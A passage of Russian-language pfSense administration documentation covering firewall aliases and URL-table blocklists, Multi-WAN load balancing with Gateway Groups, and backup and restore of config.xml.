- Не совпадать с именами интерфейсов (WAN, LAN, OPT1 и т. д.)
- Не совпадать с именами шлюзов
- Не совпадать с зарезервированными словами pf

Рекомендуется использовать информативные имена, отражающие назначение алиаса: `Web_Servers`, `Management_Ports`, `Blocked_Countries`, `RFC1918_Networks`.

### Массовый импорт

Для добавления большого количества записей предусмотрена функция массового импорта:

1. Перейти в **Firewall > Aliases**
2. Выбрать вкладку **IP** или **Ports**
3. Нажать кнопку **Import**
4. Указать имя и описание алиаса
5. Вставить записи в текстовое поле (по одной записи на строку)
6. Нажать **Save**

Ограничение: алиасы, созданные вручную (включая массовый импорт), поддерживают до 5000 записей. Для более объёмных списков следует использовать алиасы типа URL Table.

## Вложенные алиасы

pfSense поддерживает вложенные алиасы - алиасы, которые ссылаются на другие алиасы. Эта функция позволяет строить иерархические структуры группировки.

**Пример:** алиас `All_Servers` может содержать ссылки на алиасы `Web_Servers`, `DB_Servers` и `Mail_Servers`. При изменении состава любого из вложенных алиасов родительский алиас автоматически отражает изменения.

Для создания вложенного алиаса достаточно указать имя существующего алиаса в поле записи. pfSense распознает вложенность автоматически и подставит содержимое дочернего алиаса.

**Практический сценарий:**

```
Alias: Web_Servers
  - 10.0.1.10  (Frontend)
  - 10.0.1.11  (Backend API)

Alias: DB_Servers
  - 10.0.2.10  (PostgreSQL primary)
  - 10.0.2.11  (PostgreSQL replica)

Alias: All_Application_Servers
  - Web_Servers    (nested alias)
  - DB_Servers     (nested alias)
```

В правиле файрвола, ссылающемся на `All_Application_Servers`, будут учтены все четыре IP-адреса из обоих вложенных алиасов.

> **Внимание**:
>
> Вложенные алиасы должны быть одного типа. Нельзя вложить алиас портов в алиас хостов. Циклические ссылки (алиас A ссылается на B, а B ссылается на A) недопустимы и приведут к ошибке при сохранении.

## URL-таблицы

URL-таблицы (URL Table) - наиболее мощный тип алиаса для интеграции с внешними источниками данных об угрозах. Они позволяют автоматически загружать и обновлять большие списки IP-адресов или портов из внешних источников.

### Настройка URL-таблицы

1. Перейти в **Firewall > Aliases**, вкладка **URLs**
2. Нажать **Add**
3. Установить тип **URL Table (IPs)**
4. В поле записи указать URL источника данных
5. Установить интервал обновления в днях (поле **Update Freq.**)
6. Нажать **Save**, затем **Apply Changes**

![Настройка алиаса URL Table](/img/pfsense/pfsense-alias-edit-url.webp)

<p style="text-align: center;">Рис. 3. Настройка алиаса типа URL Table с указанием внешнего URL и интервала обновления</p>

### Популярные источники блокировок

| Источник | URL | Описание |
|---|---|---|
| Spamhaus DROP | `https://www.spamhaus.org/drop/drop.txt` | Hijacked IP-пространства, не используемые легитимными организациями |
| Spamhaus EDROP | `https://www.spamhaus.org/drop/edrop.txt` | Расширенный список DROP |
| DSHIELD | `https://feeds.dshield.org/block.txt` | Наиболее активные атакующие подсети за последние 3 дня |
| Emerging Threats | `https://rules.emergingthreats.net/fwrules/emerging-Block-IPs.txt` | Агрегированный список вредоносных IP-адресов |
| Abuse.ch Feodo Tracker | `https://feodotracker.abuse.ch/downloads/ipblocklist.txt` | C2-серверы банковских троянов |

### Интервал обновления

Интервал обновления задаётся в днях. Значение `1` означает ежедневное обновление. Для большинства списков блокировки рекомендуется интервал от 1 до 7 дней в зависимости от частоты обновления источника.

pfSense проверяет и загружает обновления в фоновом режиме. Обновление не влияет на работу файрвола - новые данные загружаются во временный файл и подменяются атомарно.

### Формат файла источника

Файл, доступный по указанному URL, должен содержать записи в текстовом формате - по одной записи на строку. Допустимые форматы строк:

- IP-адрес: `192.168.1.1`
- Подсеть в CIDR: `192.168.1.0/24`
- Строки, начинающиеся с `#` или `;`, игнорируются как комментарии

## Использование алиасов в правилах

Алиасы применяются в полях источника (Source), назначения (Destination) и порта (Port) при создании правил файрвола, NAT и проброса портов.

### Выбор алиаса в правиле

При создании или редактировании правила файрвола:

1. В поле **Source** или **Destination** выбрать тип **Single host or alias**
2. В текстовом поле начать вводить имя алиаса - pfSense отобразит список совпадений (автодополнение)
3. Выбрать нужный алиас из выпадающего списка

Для порта:

1. В поле **Destination Port Range** или **Source Port Range** выбрать тип **Other**
2. Начать вводить имя портового алиаса
3. Выбрать алиас из списка автодополнения

Автодополнение фильтрует алиасы по типу: в сетевых полях отображаются только алиасы хостов и сетей, в полях портов - только алиасы портов.

### Визуальная проверка

На странице **Firewall > Rules** при наведении курсора на имя алиаса в правиле отображается всплывающая подсказка с полным содержимым алиаса. Это позволяет быстро проверить, какие адреса или порты входят в группу, без перехода к редактированию алиаса.

### Пример набора правил с алиасами

Типичный набор правил для LAN-интерфейса с использованием алиасов:

| # | Действие | Источник | Назначение | Порт | Описание |
|---|---|---|---|---|---|
| 1 | Pass | `Admin_PCs` | `Mgmt_Servers` | `Mgmt_Ports` | Доступ администраторов к управлению |
| 2 | Pass | `LAN net` | `DNS_Servers` | 53 | DNS-запросы |
| 3 | Pass | `LAN net` | any | `Web_Ports` | Веб-доступ |
| 4 | Block | `LAN net` | `Blocked_IPs` | any | Блокировка вредоносных адресов |

Без алиасов каждая строка потребовала бы нескольких правил для каждого отдельного адреса и порта. Алиасы сокращают набор правил и делают его читаемым.

## Миграция с других платформ

При переходе на pfSense с другого межсетевого экрана существующие группы объектов необходимо преобразовать в алиасы. Ниже приведено соответствие концепций.

### Cisco ASA

| Cisco ASA | pfSense | Примечания |
|---|---|---|
| `object-group network` | Алиас типа Network или Host | Прямое соответствие |
| `object-group service` | Алиас типа Port | В ASA объединяет порт и протокол; в pfSense протокол задаётся в правиле |
| `object network` (единичный) | Запись в алиасе | В pfSense нет отдельного объекта для единичного хоста - используется запись в алиасе |
| Вложенные object-group | Вложенные алиасы | Поддерживается |

**Пример миграции:**

Cisco ASA:
```
object-group network Web_Servers
 network-object host 10.0.1.10
 network-object host 10.0.1.11
 network-object host 10.0.1.12

object-group service Web_Ports tcp
 port-object eq www
 port-object eq https
 port-object eq 8080
```

pfSense: создать алиас `Web_Servers` типа Host с записями `10.0.1.10`, `10.0.1.11`, `10.0.1.12` и алиас `Web_Ports` типа Port с записями `80`, `443`, `8080`.

### Fortinet FortiGate

| FortiGate | pfSense | Примечания |
|---|---|---|
| Address Object | Запись в алиасе Host или Network | Единичный объект - аналог одной записи в алиасе |
| Address Group | Алиас типа Host или Network | Группа - прямой аналог алиаса |
| Service Object | Запись в алиасе Port | Объект сервиса включает протокол; в pfSense протокол задаётся в правиле |
| Service Group | Алиас типа Port | Прямое соответствие |
| External Threat Feed | Алиас типа URL Table | Функционально эквивалентны |
| ISDB (Internet Service Database) | Нет прямого аналога | Требуется ручное создание алиасов с IP-адресами сервисов |

### MikroTik RouterOS

| MikroTik | pfSense | Примечания |
|---|---|---|
| `/ip firewall address-list` | Алиас типа Host или Network | Прямое соответствие. В MikroTik один address-list может содержать записи с таймаутом - в pfSense таймаут не поддерживается |
| Множественные address-list с одним именем | Один алиас с несколькими записями | В MikroTik записи добавляются отдельными командами; в pfSense - в одном алиасе |
| Динамические записи (добавленные скриптами) | Алиас типа URL Table | Для динамических списков из внешних источников |

**Пример миграции с MikroTik:**

MikroTik:
```
/ip firewall address-list
add address=10.0.1.0/24 list=trusted_networks comment="Office"
add address=10.0.2.0/24 list=trusted_networks comment="VPN"
add address=172.16.0.0/12 list=trusted_networks comment="Partners"
```

pfSense: создать алиас `Trusted_Networks` типа Network с записями `10.0.1.0/24`, `10.0.2.0/24`, `172.16.0.0/12`.

## Устранение неполадок

### Алиас не разрешается или содержит неверные адреса

**Симптомы:** правило файрвола с алиасом не работает; на странице **Diagnostics > Tables** алиас пуст или содержит неожиданные IP-адреса.

**Возможные причины и решения:**

1. **FQDN не разрешается.** Проверить доступность DNS-сервера, настроенного в pfSense (**System > General Setup > DNS Servers**). Выполнить тестовый запрос через **Diagnostics > DNS Lookup**. Если DNS-сервер недоступен, алиас с FQDN-записями будет пустым.

2. **DNS-кэширование.** pfSense кэширует DNS-ответы. Если IP-адрес хоста изменился, обновление в алиасе произойдёт после истечения TTL записи. Для принудительного обновления - пересохранить алиас и нажать **Apply Changes**.

3. **Имя алиаса совпадает с зарезервированным словом.** Проверить, что имя не конфликтует с именами интерфейсов, шлюзов или встроенных таблиц pf. Переименовать алиас при необходимости.

### URL-таблица не обновляется

**Симптомы:** алиас типа URL Table содержит устаревшие данные; внешний источник обновился, но pfSense не загрузил новую версию.

**Возможные причины и решения:**

1. **URL недоступен.** Проверить доступность URL через **Diagnostics > Command Prompt**, выполнив `fetch -o /dev/null <URL>`. Убедиться, что правила файрвола на WAN-интерфейсе не блокируют исходящие HTTPS-соединения.

2. **Некорректный формат файла.** Файл по URL должен содержать записи в текстовом формате (по одной на строку). HTML-страницы, JSON или XML не поддерживаются. Проверить содержимое файла вручную.

3. **Интервал обновления не наступил.** pfSense проверяет URL с интервалом, указанным в поле **Update Freq.** (в днях). Для принудительного обновления - пересохранить алиас.

4. **Ошибка TLS-сертификата.** Если URL использует HTTPS с самоподписанным сертификатом, загрузка может завершиться ошибкой. Проверить журналы в **Status > System Logs > System > General**.

### Алиасы с FQDN и проблемы DNS

При использовании доменных имён в алиасах необходимо учитывать следующие особенности:

- pfSense разрешает FQDN через настроенные DNS-серверы. Если DNS-серверы настроены на использование DNS через WAN-интерфейс, а правила WAN блокируют исходящий DNS - разрешение не выполнится.
- Запись DNS может возвращать несколько IP-адресов (round-robin). pfSense добавит все полученные адреса в алиас.
- Изменение IP-адреса, на который указывает FQDN, не отражается в алиасе мгновенно. Обновление происходит при переприменении конфигурации или по таймеру (интервал зависит от TTL DNS-записи и настроек pfSense).
- В алиасе типа Network при указании FQDN маска CIDR к полученным адресам **не применяется** - используется маска `/32` (для IPv4) или `/128` (для IPv6) вне зависимости от указанной маски.

### Проверка содержимого алиаса

Для просмотра текущего содержимого алиаса (разрешённые IP-адреса, загруженные записи):

1. Перейти в **Diagnostics > Tables**
2. Выбрать имя алиаса из выпадающего списка
3. Просмотреть список записей, входящих в таблицу

Альтернативный способ - через командную строку:

```bash
pfctl -t <alias_name> -T show
```

Эта команда выводит все IP-адреса, входящие в указанный алиас, в формате таблицы pf.

## Связанные разделы

- [Файрвол pfSense - правила, алиасы и фильтрация трафика](/docs/pfsense/firewall/) - обзор архитектуры файрвола, принципы обработки правил и общая структура раздела
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - создание и управление правилами фильтрации, в которых применяются алиасы
- [Лучшие практики файрвола](/docs/pfsense/firewall/pfsense-firewall-best-practices/) - рекомендации по организации правил и алиасов для эффективного управления политикой безопасности


---

# Балансировка нагрузки Multi-WAN в pfSense - Gateway Groups

Source: https://opennix.org/docs/pfsense/multi-wan/pfsense-multi-wan-load-balancing/


Балансировка нагрузки Multi-WAN в pfSense распределяет исходящий трафик между несколькими интернет-каналами для увеличения суммарной пропускной способности. Балансировка выполняется на уровне соединений: каждое новое TCP-соединение или UDP-поток направляется через один из доступных каналов согласно настроенной политике. Отдельное соединение не может быть разделено между каналами - весь трафик в рамках одного соединения проходит через один шлюз.

pfSense реализует балансировку через механизм Gateway Groups, где шлюзы, назначенные на один уровень (tier), участвуют в распределении трафика. При отказе одного из шлюзов трафик автоматически перераспределяется между оставшимися шлюзами того же уровня без вмешательства администратора.

## Мониторинг шлюзов

Корректная работа балансировки зависит от точного определения состояния каждого шлюза. pfSense использует демон dpinger для непрерывного мониторинга доступности шлюзов.

### Настройка мониторинга

Параметры мониторинга настраиваются для каждого шлюза индивидуально в **System > Routing > Gateways**. При редактировании шлюза доступны следующие параметры.

**Monitor IP** - адрес, на который отправляются тестовые пакеты. По умолчанию используется IP-адрес самого шлюза. Для повышения точности мониторинга рекомендуется указать публичный IP-адрес за пределами сети провайдера:

- Для WAN1: Monitor IP = 8.8.8.8 (Google DNS)
- Для WAN2: Monitor IP = 1.1.1.1 (Cloudflare DNS)

Использование разных Monitor IP для каждого шлюза предотвращает ложные срабатывания, когда оба шлюза тестируют один и тот же адрес, а этот адрес становится временно недоступен.

**Probe Interval** - интервал между отправками тестовых пакетов в секундах. Значение по умолчанию (1 секунда) обеспечивает быстрое обнаружение отказа. Увеличение интервала снижает нагрузку на канал, но замедляет реакцию на отказ.

**Loss Interval** - время ожидания ответа на один тестовый пакет в миллисекундах. Пакет, не получивший ответа за этот интервал, считается потерянным. Значение по умолчанию - 2000 мс.

**Time Period** - окно усреднения в секундах, за которое рассчитываются средние показатели задержки и потерь. Значение по умолчанию - 60 секунд.

### Типы мониторинга

pfSense поддерживает мониторинг шлюзов с использованием ICMP-пакетов (по умолчанию). В случаях, когда провайдер или промежуточное оборудование блокирует ICMP, следует выбрать альтернативный Monitor IP, который гарантированно отвечает на ICMP-запросы.

> **Внимание**:
>
> Некоторые провайдеры применяют rate-limiting для ICMP-трафика на своих шлюзах. При использовании адреса шлюза провайдера в качестве Monitor IP с интервалом в 1 секунду возможны ложные срабатывания из-за отброшенных ICMP-ответов. Рекомендуется использовать публичный DNS-сервер или увеличить Probe Interval до 2-5 секунд.

### Статусы шлюзов

На основании данных мониторинга каждый шлюз получает один из статусов:

| Статус | Условие | Влияние на балансировку |
|---|---|---|
| **Online** | Потери ниже порога warning, задержка в норме | Шлюз участвует в балансировке |
| **Warning** | Потери или задержка превысили порог warning | Шлюз участвует в балансировке (зависит от настройки Trigger Level) |
| **Down** | Потери превысили порог down | Шлюз исключён из балансировки |
| **Pending** | Сбор начальных данных | Шлюз не участвует |

Текущий статус всех шлюзов отображается в **Status > Gateways**.

## Создание Gateway Group для балансировки

Для настройки балансировки нагрузки необходимо создать Gateway Group, в которой все участвующие шлюзы назначены на один уровень (tier).

### Пошаговая настройка

1. Перейти в **System > Routing > Gateway Groups**.
2. Нажать **Add**.
3. Заполнить параметры группы:

| Параметр | Значение | Описание |
|---|---|---|
| **Group Name** | `WAN_LoadBalance` | Имя группы (латиница, без пробелов) |
| **Gateway Priority** | WAN1_DHCP = Tier 1, WAN2_DHCP = Tier 1 | Оба шлюза на одном уровне для балансировки |
| **Trigger Level** | Packet Loss | Условие переключения статуса шлюза |
| **Description** | Load balance across WAN1 and WAN2 | Описание назначения группы |

4. Нажать **Save**, затем **Apply Changes**.

### Параметр Trigger Level

Trigger Level определяет, при каком состоянии шлюза группа прекращает использовать его для маршрутизации:

| Значение | Поведение |
|---|---|
| **Member Down** | Шлюз исключается только при статусе Down |
| **Packet Loss** | Шлюз исключается при статусе Down или при превышении порога потерь |
| **High Latency** | Шлюз исключается при статусе Down или при превышении порога задержки |
| **Packet Loss or High Latency** | Шлюз исключается при любом из перечисленных условий |

Для балансировки рекомендуется использовать **Packet Loss or High Latency** - это обеспечивает исключение деградировавшего канала из группы до его полного отказа.

## Весовые коэффициенты

По умолчанию pfSense распределяет трафик между шлюзами одного уровня равномерно. При наличии каналов с различной пропускной способностью следует настроить весовые коэффициенты (weight) для пропорционального распределения.

Весовые коэффициенты настраиваются для каждого шлюза в **System > Routing > Gateways** при редактировании шлюза, параметр **Weight** (от 1 до 30).

### Пример расчёта

Пусть WAN1 имеет пропускную способность 100 Мбит/с, WAN2 - 50 Мбит/с. Для пропорционального распределения:

- WAN1: Weight = 2
- WAN2: Weight = 1

В этой конфигурации на каждые три новых соединения примерно два будут направлены через WAN1 и одно через WAN2.

| Канал | Пропускная способность | Weight | Доля трафика |
|---|---|---|---|
| WAN1 | 100 Мбит/с | 2 | ~67% |
| WAN2 | 50 Мбит/с | 1 | ~33% |

> **Внимание**:
>
> Весовые коэффициенты влияют на распределение количества соединений, а не на объём трафика. Если через WAN2 устанавливается соединение для загрузки большого файла, весь трафик этого соединения пройдёт через WAN2 независимо от весов. Балансировка по объёму трафика в pfSense не поддерживается.

## Применение Gateway Group к правилам файрвола

Gateway Group начинает маршрутизировать трафик только после назначения в правило файрвола. Без этого шага группа остаётся неиспользуемой.

### Настройка правила

1. Перейти в **Firewall > Rules**, выбрать вкладку **LAN** (или другой внутренний интерфейс).
2. Создать новое правило или отредактировать существующее правило, разрешающее исходящий трафик.
3. В секции **Extra Options** нажать **Display Advanced**.
4. В поле **Gateway** выбрать созданную группу `WAN_LoadBalance`.
5. Нажать **Save**, затем **Apply Changes**.

Типичная конфигурация правила:

| Параметр | Значение |
|---|---|
| **Action** | Pass |
| **Interface** | LAN |
| **Protocol** | Any |
| **Source** | LAN net |
| **Destination** | Any |
| **Gateway** | WAN_LoadBalance |

Для более гранулярного управления можно создать несколько правил с различными Gateway Group. Например, HTTP/HTTPS трафик балансируется между каналами, а VoIP-трафик фиксируется за каналом с низкой задержкой.

> **Внимание**:
>
> Правило со специфичным шлюзом (gateway) должно располагаться выше правила с gateway по умолчанию (*). В противном случае трафик будет обработан правилом по умолчанию и не попадёт в Gateway Group.

## Исходящий NAT для Multi-WAN

При использовании нескольких WAN-интерфейсов необходимо убедиться, что для каждого WAN существует правило исходящего NAT. Без корректного правила NAT трафик, направленный через определённый WAN, будет отправлен с неправильным адресом источника и отброшен провайдером.

### Проверка правил NAT

1. Перейти в **Firewall > NAT > Outbound**.
2. Убедиться, что для каждого WAN-интерфейса существуют правила трансляции для всех внутренних подсетей.

В **Automatic** и **Hybrid** режимах pfSense создаёт правила NAT для всех WAN-интерфейсов автоматически. В **Manual** режиме правила необходимо создать вручную для каждого WAN.

Пример набора правил для конфигурации с двумя WAN и подсетью LAN 192.168.1.0/24:

| Интерфейс | Источник | Трансляция | Порт |
|---|---|---|---|
| WAN1 | 192.168.1.0/24 | WAN1 address | * |
| WAN2 | 192.168.1.0/24 | WAN2 address | * |
| WAN1 | 127.0.0.0/8 | WAN1 address | 500 (ISAKMP) |
| WAN2 | 127.0.0.0/8 | WAN2 address | 500 (ISAKMP) |

## DNS в Multi-WAN

Корректная настройка DNS критична для Multi-WAN. При отказе одного канала DNS-запросы, направленные через этот канал, перестанут получать ответы, что может привести к потере разрешения имён даже при работающем втором канале.

### Рекомендации по настройке DNS

**Вариант 1: DNS Resolver с Forward Mode** (рекомендуется)

1. В **System > General Setup** указать DNS-серверы для каждого WAN:
   - DNS Server 1: 8.8.8.8 - Use gateway: WAN1_DHCP
   - DNS Server 2: 1.1.1.1 - Use gateway: WAN2_DHCP
2. В **Services > DNS Resolver** включить **DNS Query Forwarding**.
3. pfSense будет направлять DNS-запросы через оба канала и использовать первый полученный ответ.

**Вариант 2: DNS Resolver без Forward Mode**

DNS Resolver в стандартном режиме выполняет рекурсивные запросы напрямую к корневым DNS-серверам. В этом случае DNS-запросы маршрутизируются согласно таблице маршрутизации и не привязаны к конкретному WAN. Однако при отказе основного канала может потребоваться время для переключения маршрутов.

**Вариант 3: Локальный DNS-сервер**

При использовании выделенного DNS-сервера в локальной сети (например, для Active Directory) DNS-трафик от этого сервера маршрутизируется как обычный трафик через Gateway Group.

## Sticky Connections

Sticky connections - механизм, привязывающий все соединения от одного клиента (по IP-адресу источника) к одному шлюзу на определённый период. Это решает проблемы с веб-сервисами, которые привязывают сессию к IP-адресу клиента.

### Настройка

1. Перейти в **System > Advanced > Miscellaneous**.
2. В секции **Gateway Monitoring** установить флаг **Use sticky connections**.
3. Указать **Sticky connections expiry** - время в секундах, после которого привязка удаляется при отсутствии активных соединений. Значение по умолчанию - 0 (привязка сохраняется до перезагрузки).

### Ограничения

- Привязка выполняется по IP-адресу источника, а не по назначению. Все соединения клиента направляются через один шлюз.
- При активации sticky connections эффективность балансировки снижается: клиенты, установившие привязку, не перераспределяются между каналами до истечения таймера.
- Привязка не сохраняется при перезагрузке pfSense.

## Диагностика

### Трафик не балансируется

**Симптом**: весь трафик проходит через один WAN-канал.

Проверки:

1. **Правило файрвола** - убедиться, что в правиле LAN указан Gateway Group, а не конкретный шлюз или значение по умолчанию (*).
2. **Порядок правил** - правило с Gateway Group должно быть выше правила с gateway по умолчанию.
3. **Sticky connections** - если sticky connections активирован, клиент может быть привязан к одному шлюзу. Временно отключить для диагностики.
4. **States table** - проверить привязку соединений в **Diagnostics > States**. Фильтровать по IP-адресу клиента и проверить, через какой интерфейс проходят соединения.
5. **Статус шлюзов** - проверить, что оба шлюза в статусе Online в **Status > Gateways**.

### Асимметричная маршрутизация

**Симптом**: часть соединений обрывается, сайты загружаются не полностью.

Причина: ответный трафик может возвращаться через шлюз, отличный от того, через который было инициировано соединение. Провайдер или промежуточное оборудование отбрасывает пакеты с несоответствующим адресом источника.

Решение:

1. Убедиться, что Outbound NAT корректно настроен для обоих WAN.
2. Проверить, что pfSense выполняет трансляцию адреса источника в адрес правильного WAN-интерфейса для каждого соединения.
3. При наличии статических маршрутов убедиться, что ответный трафик возвращается через тот же WAN.

### Потеря соединений при переключении

**Симптом**: при отказе одного шлюза активные соединения через этот шлюз прерываются.

Это ожидаемое поведение - pfSense не может перенести активное TCP-соединение между шлюзами. Новые соединения автоматически направляются через доступные шлюзы. Для минимизации влияния:

1. Уменьшить **Time Period** для более быстрого обнаружения отказа.
2. Настроить **Trigger Level** на **Packet Loss or High Latency** для раннего исключения деградировавшего шлюза.

## Сравнение с другими платформами

### Cisco PBR (Policy-Based Routing)

В Cisco IOS policy routing настраивается через route-map с set ip next-hop. pfSense использует аналогичный подход через назначение Gateway Group в правилах файрвола. Ключевое отличие: pfSense автоматически обрабатывает failover между шлюзами одного tier, тогда как в Cisco IOS требуется дополнительная настройка IP SLA для мониторинга и переключения.

### FortiGate SD-WAN

FortiGate SD-WAN предоставляет встроенные SLA-мониторы с поддержкой TCP, HTTP и DNS probes. pfSense ограничен ICMP-мониторингом через dpinger. FortiGate также поддерживает балансировку по объёму трафика (volume-based), которая отсутствует в pfSense.

### MikroTik PCC (Per Connection Classifier)

MikroTik использует PCC для маркировки соединений на основе хеша адресов и портов с последующей маршрутизацией через разные шлюзы. pfSense реализует аналогичную логику через Gateway Groups, но с менее гранулярным контролем хеширования. Преимущество pfSense - встроенный мониторинг шлюзов и автоматический failover, тогда как в MikroTik требуется настройка netwatch для аналогичной функциональности.

## Связанные разделы

- [Multi-WAN failover](/docs/pfsense/multi-wan/pfsense-multi-wan-failover/) - настройка автоматического переключения на резервный канал
- [Исходящий NAT](/docs/pfsense/nat/pfsense-outbound-nat/) - настройка правил NAT для нескольких WAN-интерфейсов
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - создание правил с назначением Gateway Group


---

# Бэкап и восстановление конфигурации pfSense

Source: https://opennix.org/docs/pfsense/backup/pfsense-backup-recovery/


Резервное копирование pfSense основано на экспорте файла конфигурации config.xml, который содержит все параметры системы. Правильно организованный процесс резервного копирования позволяет восстановить межсетевой экран за минуты после аппаратного сбоя, ошибки администратора или компрометации системы. Данное руководство охватывает все методы создания резервных копий, процедуры восстановления и лучшие практики обеспечения сохранности конфигурации.

## Структура config.xml

Файл config.xml располагается в каталоге `/cf/conf/` и содержит полную конфигурацию pfSense в формате XML.

### Что включено в config.xml

| Компонент | Описание |
|---|---|
| Сетевые интерфейсы | Назначение, IP-адреса, VLAN, мосты |
| Правила файрвола | Все правила фильтрации, NAT, floating rules |
| VPN-конфигурации | OpenVPN, IPsec, WireGuard - все параметры туннелей |
| Пользователи и группы | Локальная база [учётных записей](/docs/pfsense/users/pfsense-user-management/), привилегии |
| Сертификаты | CA, серверные и клиентские [сертификаты](/docs/pfsense/certificates/pfsense-certificate-management/), CRL |
| Серверы аутентификации | Настройки LDAP, RADIUS |
| DHCP и DNS | Конфигурация DHCP-сервера, DNS-резолвера/форвардера |
| Маршрутизация | Статические маршруты, шлюзы, группы шлюзов |
| Настройки пакетов | Конфигурация установленных пакетов (HAProxy, Snort и др.) |
| Системные параметры | Часовой пояс, hostname, DNS-серверы, NTP |

### Что НЕ включено в config.xml

| Компонент | Описание | Способ резервного копирования |
|---|---|---|
| Установленные пакеты | Бинарные файлы пакетов | Переустановка после восстановления (список пакетов сохранён в config.xml) |
| RRD-данные | Графики мониторинга (трафик, нагрузка) | Отдельный экспорт через Diagnostics > Backup & Restore |
| Пользовательские файлы | Изменения в /boot/loader.conf.local, скрипты | Пакет Backup или ручное копирование |
| Логи системы | Журналы событий | Настройка удалённого syslog |
| DHCP leases | Текущие аренды DHCP | Не требует резервного копирования |
| Состояние файрвола | Таблица состояний (state table) | Не требует резервного копирования |

> **Внимание**:
>
> Список установленных пакетов сохраняется в config.xml, но сами пакеты необходимо переустановить после восстановления. pfSense автоматически предложит установить недостающие пакеты при обнаружении их в конфигурации.

## Ручное резервное копирование

Ручное создание резервной копии выполняется через веб-интерфейс и занимает несколько секунд.

### Процедура создания бэкапа

1. Перейти в **Diagnostics > Backup & Restore**
2. Убедиться, что выбрана вкладка **Backup & Restore**
3. Настроить параметры экспорта:

| Параметр | Описание |
|---|---|
| Backup area | Область бэкапа (ALL для полной копии или конкретная секция) |
| Skip packages | Исключить конфигурацию пакетов из бэкапа |
| Skip RRD data | Исключить данные графиков (значительно уменьшает размер файла) |
| Encryption | Шифрование файла бэкапа паролем |
| Password | Пароль для шифрования (при включённой опции Encryption) |

4. Нажать **Download configuration as XML**
5. Сохранить файл в защищённом месте

### Области бэкапа

При выборе **Backup area** доступны следующие варианты:

| Область | Содержимое |
|---|---|
| ALL | Полная конфигурация системы |
| Aliases | Только алиасы файрвола |
| Captive Portal | Настройки Captive Portal |
| DHCP Server | Конфигурация DHCP |
| DNS Server | Настройки DNS |
| Firewall Rules | Правила файрвола |
| Interfaces | Конфигурация сетевых интерфейсов |
| IPsec | Настройки IPsec VPN |
| NAT | Правила NAT |
| OpenVPN | Конфигурация OpenVPN |
| SNMP | Настройки SNMP |
| Static Routes | Статическая маршрутизация |

Частичный бэкап полезен для переноса отдельных секций между устройствами без замены всей конфигурации.

### Шифрование бэкапа

Шифрование резервной копии настоятельно рекомендуется, поскольку config.xml содержит:

- Пароли пользователей (в хэшированном виде)
- Закрытые ключи сертификатов (в открытом виде)
- Pre-shared keys VPN-туннелей
- Shared secrets серверов аутентификации
- Пароли bind-аккаунтов LDAP

При включении шифрования файл защищается паролем с использованием AES-256-CBC. Пароль необходимо сохранить отдельно от файла бэкапа - без него восстановление невозможно.

### Именование файлов бэкапа

pfSense формирует имя файла в формате: `config-<hostname>-<YYYY><MM><DD><HH><MM><SS>.xml`

Рекомендуется дополнительно включать в имя причину создания бэкапа при ручном переименовании:

```
config-fw01-20260406-before-vpn-changes.xml
config-fw01-20260406-after-upgrade-2.7.2.xml
```

## Автоматическое резервное копирование

### Встроенное автоматическое резервное копирование

pfSense автоматически создаёт резервную копию конфигурации при каждом изменении через веб-интерфейс. История изменений хранится локально и доступна в **Diagnostics > Backup & Restore**, вкладка **Config History**.

| Параметр | Значение по умолчанию |
|---|---|
| Количество хранимых версий | 30 |
| Расположение | /cf/conf/backup/ |
| Формат имени | config-<timestamp>.xml |

Количество хранимых версий настраивается в **Diagnostics > Backup & Restore**, вкладка **Config History**, поле **Backup Count**.

Встроенная история позволяет:

- Просмотреть список изменений с указанием даты и описания
- Сравнить любые две версии конфигурации (diff)
- Восстановить любую из сохранённых версий

> **Внимание**:
>
> Локальная история бэкапов хранится на том же диске, что и основная конфигурация. При выходе диска из строя все версии будут утрачены. Локальная история не заменяет хранение бэкапов во внешнем расположении.

### AutoConfigBackup

AutoConfigBackup (ACB) - облачный сервис автоматического резервного копирования, предоставляемый Netgate для устройств с активной подпиской pfSense Plus или для Netgate hardware. Сервис автоматически загружает зашифрованную копию конфигурации в облако при каждом изменении.

#### Настройка AutoConfigBackup

1. Перейти в **Services > Auto Config Backup**
2. Ввести учётные данные Netgate Portal
3. Задать пароль шифрования

| Параметр | Описание |
|---|---|
| Enable ACB | Включить автоматическое резервное копирование |
| Encryption Password | Пароль для шифрования бэкапов (хранится только локально) |

#### Особенности ACB

- Конфигурация шифруется локально перед отправкой - Netgate не имеет доступа к содержимому
- Хранится до 100 последних версий конфигурации
- Восстановление возможно из списка сохранённых версий в веб-интерфейсе
- При потере пароля шифрования восстановление из ACB невозможно

### Резервное копирование по расписанию через cron

Для автоматического создания бэкапов по расписанию с сохранением на внешнем ресурсе можно использовать пакет **Cron** и скрипт экспорта конфигурации.

#### Настройка автоматического бэкапа через SCP

1. Установить пакет **Cron** через **System > Package Manager**
2. Создать задание cron для копирования конфигурации:

```
0 2 * * * /usr/bin/scp /cf/conf/config.xml backup@storage.example.com:/backups/pfsense/config-$(date +\%Y\%m\%d).xml
```

Для работы SCP без пароля необходимо настроить SSH-аутентификацию по ключу между pfSense и сервером хранения.

#### Альтернативные методы автоматизации

| Метод | Описание |
|---|---|
| SCP/SFTP | Копирование на удалённый сервер по SSH |
| Backup Package | Пакет для бэкапа файлов и каталогов, не входящих в config.xml |
| XMLRPC | Программный доступ к конфигурации через API |

## Восстановление из резервной копии

### Полное восстановление

Полное восстановление заменяет всю текущую конфигурацию содержимым файла бэкапа.

1. Перейти в **Diagnostics > Backup & Restore**
2. В секции **Restore Backup** выбрать файл бэкапа
3. Настроить параметры восстановления:

| Параметр | Описание |
|---|---|
| Restore area | ALL для полного восстановления |
| Configuration file | Файл .xml с резервной копией |
| Encryption | Указать, зашифрован ли файл |
| Password | Пароль расшифровки (если файл зашифрован) |

4. Нажать **Restore Configuration**
5. Дождаться перезагрузки системы

После полного восстановления pfSense автоматически:

- Применит все настройки интерфейсов
- Восстановит правила файрвола и NAT
- Перезапустит VPN-сервисы
- Предложит установить недостающие пакеты

### Частичное восстановление

Частичное восстановление позволяет заменить только определённую секцию конфигурации, не затрагивая остальные настройки.

1. В поле **Restore area** выбрать нужную секцию (Firewall Rules, OpenVPN, NAT и др.)
2. Загрузить файл бэкапа
3. Нажать **Restore Configuration**

Частичное восстановление полезно для:

- Восстановления правил файрвола после ошибочных изменений
- Переноса VPN-конфигурации с другого устройства
- Восстановления настроек DHCP без изменения остальной конфигурации

### Восстановление из локальной истории

1. Перейти в **Diagnostics > Backup & Restore**, вкладка **Config History**
